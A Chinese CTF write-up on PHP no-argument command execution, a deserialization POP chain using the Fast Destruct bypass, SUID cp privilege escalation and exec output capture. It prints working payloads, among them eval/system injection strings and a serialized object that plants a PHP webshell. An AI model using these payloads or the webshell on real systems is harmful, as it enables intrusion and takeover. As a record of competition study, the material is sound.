[大数据及网络安全精英对抗赛]赛后总结
挨打总结,记一些知识点。
无参数命令执行
例题:[GXYCTF2019]禁止套娃
先用GitHack拿到源码:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
无参数命令执行的标志就是eval执行的输入参数,在传入eval 之前经过了像这样一个正则判断:
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
?R是递归匹配的写法。这里匹配的是一串小写字母或下划线接一对中括号,中括号里要么没东西,不然也得是一串小写字母或下划线接一对中括号形式的字符串:
func1('123') // 无法匹配
func1(func2()func3()) // 无法匹配
func1(func2(func3())) // 可以匹配
因此,这里要执行命令就只能用函数嵌套起来的字符串。
攻击思路
函数嵌套读取文件
先贴一些函数:
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
highlight_file() 语法高亮一个文件
针对这道题,因为需要读取同级目录下的flag.php,比较容易想到的就是想办法获取到字符串flag.php,然后用函数读。
这里主要使用返回一些有可用信息数组和返回数组中元素内容的函数。payload为:highlight_file(next(array_reverse(scandir(pos(localeconv())))));
getallheaders()在请求头中插入执行代码
getallheaders可获取全部 HTTP 请求头信息,返回的是一个数组。
implode用字符串连接数组元素,返回一个字符串。
<?php
echo implode(getallheaders());

注意到这里请求头信息的输出是按顺序的。在请求头开始处插入额外的字段,在其中写入要执行的命令。先测试代码如下:
<?php
$cmd = 'eval(implode(getallheaders()));'; // 模拟传入的payload,eval用来执行请求头中插入的代码
eval($cmd);

get_defined_vars()在GET参数中插入执行代码
get_defined_vars返回由返回多维数组。包含调用 get_defined_vars() 作用域内所有已定义的变量、环境变量、服务器变量、用户定义变量列表。
和上面在请求头中把执行的代码取出,get_defined_vars则是把执行的代码从GET请求参数中取出。
<?php
var_dump(get_defined_vars());

构造的payload的为:/?cmd=eval(end(current(get_defined_vars())));&shell=system('ls');,这个思路和上一种方法基本一样,便不再赘述了。测试如下:
<?php
eval($_GET['cmd']);

session_id()在phpsessionid中插入执行代码
和上面一样,思路都是把参数从检查的变量外带进去。利用phpsessionid也就不难想到了。相关函数:
session_start(): 创建新会话或者重用现有会话session_id(): 获取/设置当前会话 ID
payload可以构造为:eval(hex2bin(session_id(session_start())));。先通过session_start()开启会话;然后用session_id() 获取session ID,也就是Cookie中的PHPSESSID字段;因为PHPSESSID仅允许出现a-z A-Z 0-9 , (逗号)和 - (减号)字符,所以只有输入十六进制字符串,再使用hex2bin进行转换;最后,用eval执行代码。
测试,这里的73797374656d28276c7327293b就是system('ls')的十六进制编码:

[贵阳大数据及网络安全精英对抗赛]May_be
很明显的无参数命令执行,过滤了一些东西,可以使用上面提到的get_defined_vars利用。
命令执行找到flag文件,读取的时候发现权限不够。使用find / -perm -u=s -type f发现cp有SUID权限,通过反弹shell再提权就可以读到flag。SUID提权详见:Linux提权之SUID提权
但这里也可以用cp把flag文件复制到一个当前权限可读的文件上,内容被覆盖的文件权限不会改变,这样也可以读到flag的内容。
PHP反序列化之Fast Destruct
[贵阳大数据及网络安全精英对抗赛]POP
<?php
highlight_file(__FILE__);
class TT{
public $key;
public $c;
public function __destruct(){
echo $this->key;
}
public function __toString(){
return "welcome";
}
}
class JJ{
public $obj;
public function __toString(){
($this -> obj)();
return "1";
}
public function evil($c){
eval($c);
}
public function __sleep(){
phpinfo();
}
}
class MM{
public $name;
public $c;
public function __invoke(){
($this->name)($this->c);
}
public function __toString(){
return "ok,but wrong";
}
public function __call($a, $b){
echo "Hacker!";
}
}
$s = $_GET['s'];
$a = unserialize($s);
throw new Error("NoNoNo");
这个pop链还是比较好构造的,入口只有TT中的__destruct,另外要在类中像($this->name)($this->c)调用函数,要使用array(new JJ, 'evil');这样类+类中方法名的数组写法:
<?php
class TT{
public $key;
public $c;
}
class JJ{
public $obj;
}
class MM{
public $name;
public $c;
}
$T = new TT();
$J = new JJ();
$M = new MM();
$jj = new JJ(); // 创建一个JJ类的实例
$M->name = array($jj, 'evil'); // 将方法存储在变量中
$M->c = 'file_put_contents("sky.php",\'<?php eval($_POST[sky]);?>\');';
$J->obj = $M;
$T->key = $J;
echo serialize($T);
输出序列化字符串:
O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";a:2:{i:0;O:2:"JJ":1:{s:3:"obj";N;}i:1;s:4:"evil";}s:1:"c";s:58:"file_put_contents("sky.php",'<?php eval($_POST[sky]);?>');";}}s:1:"c";N;}
但是直接提交这个是不行的。因为__destruct只有在程序正常执行结束后才能触发,而在题目中用了一个异常抛出中断了正常的结束,因此也就无法触发__destruct。
Fast Destruct
目的是在执行serialize时就直接触发__destruct,用到的方式是破坏序列化字符串的方法。简单举个例子:
<?php
// 序列化字符串来源
class B {
}
class A {
public $b;
public function __construct()
{
$this->b = new B;
}
}
$a = new A;
echo serialize($a);
// 测试序列化
class B {
public function __call($f,$p) {
echo "B::__call($f,$p)\n";
}
public function __destruct() {
echo "B::__destruct\n";
}
public function __wakeup() {
echo "B::__wakeup\n";
}
}
class A {
public function __destruct() {
echo "A::__destruct\n";
$this->b->c();
}
}
$s = 'O:1:"A":1:{s:1:"b";O:1:"B":0:{}}';
unserialize($s);
正常的序列化结果:
B::__wakeup
A::__destruct
B::__call(c,Array)
B::__destruct
破坏序列化字符串:
O:1:"A":1:{s:1:"b";O:1:"B":0:{}} // 正常字符串
O:1:"A":1:{s:1:"b";O:1:"B":0:{};} // 添加;
O:1:"A":1:{s:1:"b";O:1:"B":0:{} // 删除}
O:1:"A":2:{s:1:"b";O:1:"B":0:{}} // 修改A的属性数量
破坏导致serialize执行异常,提前销毁触发__destruct:
A::__destruct
B::__call(c,Array)
B::__wakeup
B::__destruct
可以看到__destruct的执行被提前了。详细的原理之后有机会再理解了,这里摘一段“提前触发__destruct函数绕过检测”里面的内容:
获取反序列化字符串–>根据类型进行反序列化—>查表找到对应的反序列化类–>根据字符串判断元素个数–>new出新实例–>迭代解析化剩下的字符串–>判断是否具有魔法函数__wakeup并标记—>释放空间并判断是否具有具有标记—>开启调用。
根据上面的流程,我们可以发现,这个过程中是逐步对对象做解析的,而且解析过程中会同时去根据相应的魔法函数标记去调用魔法函数,所以说,即使完整的反序列化最终失败了,但在这个过程中涉及到的对象仍然是可以正常出发魔法函数的调用的。Fast destruct的目的就是让完整的反序列化失败,再利用unserialize运行失败后会对运行中已经创建出来类进行销毁这一特性,去提前触发对应类中的__destruct函数。
exec 命令执行
[贵阳大数据及网络安全精英对抗赛]notrce
命令执行,过滤了一些函数找好替代就行。
因为PHP的exec执行命令并不会返回执行结果,但可以把执行结果输出到文件中。参考命令:command | tee /path/to/output.txt

总结
这次做出来的题目中学到东西就这些了,继续加油吧~